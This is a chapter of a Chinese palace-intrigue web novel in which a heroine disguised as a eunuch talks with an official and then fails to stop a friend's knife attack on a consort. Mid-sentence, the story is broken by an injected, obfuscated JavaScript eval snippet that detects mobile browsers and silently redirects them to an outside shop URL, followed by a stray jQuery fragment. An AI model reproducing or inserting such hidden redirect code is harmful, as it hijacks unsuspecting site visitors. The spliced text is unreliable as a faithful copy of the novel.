“你找死!”谢砚辞怒上心头,一记手刀击向黄九。
黄九右手执杯,左手挡住她的找事,杯中茶水轻微摇晃,溅起几滴水花,随后又落入杯中。
他吹了吹杯中热气,侧目瞥向她,幽幽道:“骗你的,你的功劳陛下都已知晓。”
谢砚辞睫底微动,眸中怒意散去。
“我便知道,你又骗我!”她收掉手刀,立在一侧,眸子微冷。
黄九低眸笑了笑,淡淡品着茶。
“那...陛下可有怪罪我?”谢砚辞犹豫片刻,侧目看向黄九。
黄九扬眸,“怪你什么?”
谢砚辞抿唇,“我用了他的卧房当戏台,还给他弄了一堆烂摊子让他收拾。”
黄九放下茶杯,抱臂盯着她,“放心,只要能扳倒昭王,陛下不会介意。而且...”
谢砚辞凝眸:“而且什么?”
黄九幽幽道:“而且,陛下觉得你不错。”
谢砚辞眸中闪过一丝光亮,“这么说我已经引起陛下注意了?那他可有说什么时候召见我?”
黄九挑眉,“自然是等你把细作全部找到的时候。”
谢砚辞面容低垂,眸色黯了一下,随即打起精神,“让陛下放心,我一定不负所望。”
黄九拿起白瓷茶壶倒了杯茶,“拭目以待。”
谢砚辞似是想起什么,转头又问:“不过,我还有个疑问,陛下真有佳丽三千?”
黄九放下茶壶,“三千没有,不过应该上百了。”
谢砚辞抱臂调侃,“陛下果然不同凡响,竟消受得起如此多女人。”
黄九无奈摇头,为谢砚辞倒了杯热茶,“其实陛下也不容易,那些都是为了稳定朝局才纳入后宫的女人,整日跟那么多女人周旋,吵得他头都大了。”
谢砚辞端起茶杯饮了一口,“听说白嫔一直不受宠,整日郁郁寡欢。那些女人想必大多如此,都是政治牺牲品。”
黄九挑眉,“放心吧,若是有一日朝局稳定,陛下定会将那些女人全部放出宫去,不会将她们困在宫中一辈子。”
谢砚辞侧目盯着他,“说得好像你是皇帝似的。”
黄九唇角勾起一丝笑意,低眸盯着手中绿油油的茶水,“我若是皇帝,只取一瓢足矣。三千佳丽,我可消受不起。”
谢砚辞瞥了一眼桌上烧了一大半的火烛,“时辰不早,我先走了。”
说着,便放下茶杯向门口走去。
“等等。”黄九叫住她,走到床边橱柜前,打开柜门,拿出一宝蓝色酒坛,抬手丢给她,“你立了大功,自当送你一坛酒。”
“酒?倒是很久没喝了。”谢砚辞揭开酒盖,液体呈深紫色,一股清新酒香扑面而来。
酒坛身上写有几个金色小字:瀚海琼浆,西域进贡珍品仅此一坛。
谢砚辞瞳孔微睁,“如此珍贵的酒,又是陛下赏赐给你的?”
黄九得意地勾起唇,“不错。”
谢砚辞打量着他,“看来你倒真是深得陛下宠爱。”
谢砚辞仰头饮了几口,清爽甘甜,回味无穷。
她擦了擦嘴,“这酒名字豪迈,没想到竟是甜酒,不过瘾。”
黄九微讶,“原来谢姑娘喜欢烈酒?我还以为姑娘们更喜甜酒。”
谢砚辞挑眉,“黄大人整日在宫中,应该没喝过雍京街上的烧白酒吧?便宜又劲道,改日我回请你。”
“一言为定。”黄九放下茶杯,顿时觉得茶水没了滋味,“整日困在这四方的宫墙之中确实憋闷,我早就想出去游览大好河山了,说起来还真羡慕魏临舟。”
谢砚辞漠然道:“你若是实在不喜欢,可以辞官。”
黄九无奈感叹,“你有所不知,陛下实在太难缠,一刻都不愿离开我。”
“......”
谢砚辞翻了个白眼。
黄九勾唇睨着她:“再说,我若辞了官,谁来管你?”
谢砚辞随口道:“魏临舟便不错。”
黄九舌尖顶腮,气笑,“好啊!你还真想过!我这酒真是喂给白眼狼了。”
谢砚辞没理会他,把酒盖重新盖好,走到橱柜处,打开柜门,将酒放回原位。
临走时,谢砚辞转头叮嘱道:“酒先寄存在你这里,不许给我喝完。”
黄九无奈摇摇头,将杯中冷茶一饮而尽。
回房后,谢砚辞思量了一下寻找细作的办法。
她如今的身份只是微末的洒扫处太监总管,出入宫中很多地方都处处受制。
若想仔细查探,势必要尽快升职。
为今之计,若想升职,只有依靠丽妃。
接下来的三日,谢砚辞与魏临舟在侍卫房通了气,二人共同编造了一些魏临舟与昭王党羽大臣私下互相授受的行踪。
第四日一早,谢砚辞便来到朝云宫,准备将行踪汇报给丽妃。
丽妃正在宫中熟睡,谢砚辞在殿外等候时,忽然看到了一个熟悉的面孔。
孙月薇的妹妹孙书桐一身宫女打扮,在院内梅花树丛之间穿梭,拿着剪刀仔细修剪红梅花枝。
阳光照射下,她袖间匕首闪着刺眼寒光。
她与孙月薇无甚交集,倒是幼时与其妹孙书桐同在一间私塾读过书,算是同窗故人。
孙书桐不似其姐一般刁蛮跋扈,她心思内敛,一心只爱读圣贤书,从小便想如男儿一般科考为官,只可惜她是女儿身,只能窝在闺房内多读几本书解馋。
谢砚辞眸子一闪,缓步走到她身旁,低声道:“袖口匕首露出来了。”
“是你?谢砚辞!”孙书桐眸中闪过一丝诧异,她下意识将匕首收好,侧目打量她,冷嗤道:“你没死?伪装成一副太监模样在此苟活,好玩吗?”
谢砚辞唇角漾开一抹讥诮,“你伪装成宫女,好玩吗?”
孙书桐捏紧手中剪刀,眸中闪过一抹杀意,“想必你也是来复仇的,不如今日与我一同报仇,杀了丽妃!”
谢砚辞凝眉,“复仇不是飞蛾扑火,你不会武,手无缚鸡之力,来此地无异于自寻死路。
若我是你,便会立即出宫,远走他乡。”
“与你一般苟且偷生?”孙书桐冷嗤一声,眸色赤红,“不可能!我定要杀了丽妃,为我全家报仇!”
谢砚辞侧目瞥了一眼殿内,沉声道:“只杀丽妃无用,擒贼先擒王。”
孙书桐眸中满是不耐烦,狠狠剪掉一枝红梅,怒道:“我管不了那么多,我早就不想活了!只想拉丽妃陪葬!”
谢砚辞无奈劝道:“丽妃四周太监宫女众多,而且她只要随便喊一声,禁军便会将你团团围住,你杀不了她,只会赔上自己的性命。”
孙书桐满脸失望,眸中满是愠怒,“幼时在私塾,你七岁便敢同夫子争辩得面红耳赤,将欺辱我的世家子弟打得落花流水。没想到你如今竟如此贪生怕死!算我看错你了!”
一名粉衣宫女远远叫道:“娘娘要的红
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17865471|212176||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
梅,你剪好没?若是剪好了,便送进去。”
孙书桐随口道:“马上就好。”
宫女离去后,孙书桐迅速剪了几枝绽放的红梅,抱在怀中。
她冷冷瞥了谢砚辞一眼,丢下剪刀,转身便朝殿内走去。
谢砚辞一把攥住她的手臂,冷冷道:“你父亲这些年助纣为虐,为昭王做了多少恶事,想必你也有所耳闻。”
孙书桐身形微微一滞,下意识怒道:“你住口!不许你侮辱我父亲!”
谢砚辞厉声道:“不信你可以去街上随便找个人问问,雍京的人都能说出你父亲几件恶事。
还有,你姐姐从小蛮横霸道,前几日更是草菅人命,随意处决了五名太监,你根本不值得为他们送命!”
孙书桐怀中红梅次第掉落,眸中嗜着泪水,“就算你说的是真的,那他们也是我的家人,我为家人报仇,天经地义。”
“那便冲我来吧。”谢砚辞一字一句道:“是我看不惯你姐姐草菅人命,所以陷害了你姐姐。”
“你!”孙书桐一脸诧异,顿时攥紧拳头,怒火中烧,“竟然是你!”
谢砚辞叹道:“对你的伤害,我很抱歉。若你想报仇,便冲我来吧。”
孙书桐眸色赤红,泪流满面,她紧紧咬着牙,整个面部表情都在颤抖,紧握的拳头松开又攥紧,“我不会杀你,但我也不会原谅你!”
良久,孙书桐深呼一口气,最后垂下手,缓和了一下心情,转身离去。
望着她决绝的背影,谢砚辞神色复杂。
孙书桐刚刚步出梅林,走到圆形拱门处,便听到一个刺耳的太监声,“前面那个粉衣宫女,站住!”
是李固的声音。
谢砚辞转头望向声源处,瞳孔骤缩,只见李固扶着丽妃走到殿前阳光处。
谢砚辞下意识向前迈了一步,又停在原地,只能眼睁睁看着孙书桐整个人僵在原地。
李固在丽妃耳边解释道:“娘娘,此人背影好像有些眼熟,但是又不像是我们宫里的人。难道是...”
丽妃疑惑地瞥了一眼李固,“是谁?”
李固摇摇头,一脸为难:“奴才也不确定,好像是已故世子妃的妹妹孙书桐,奴才曾代娘娘去孙家送过礼品,所以见过她一面。可她怎么可能会在这里,还穿着一身宫女衣服呢?”
丽妃眸子微眯,“让她过来。”
谢砚抢步上前,躬身行礼,“娘娘,奴才有关于魏大人的事禀报。可否让其他无关人等退下?”
丽妃目光落在前方孙书桐身上,完全没心思理会谢砚辞,她随意摆了摆手,“不急,你先退去一旁。”
谢砚辞站在一旁,凝眉望着远处孙书桐一步步走上前。
听到丽妃肚子咕咕叫了一声,不禁再次开口,“娘娘,依奴才看,她只是一名普通宫女,没什么奇怪的。娘娘可莫要为了一介宫女,耽误吃早膳。”
丽妃依旧盯着远处的孙书桐,漫不经心道:“不急。”
谢砚辞又要说什么,只见孙书桐已经走上前来。
她把头埋得很低,行礼道:“参见娘娘。”
“过来,靠近一些。”丽妃有些看不清她的脸,沉声道:“抬起头来。”
孙书桐走到与她只有一步距离处,抬起头,露出一副狠厉眼神。
“真是孙书桐!世子妃的妹妹!”
李固的话刚出口,孙书桐便掏出袖间匕首,狠狠刺向丽妃的胸口,“去死吧!”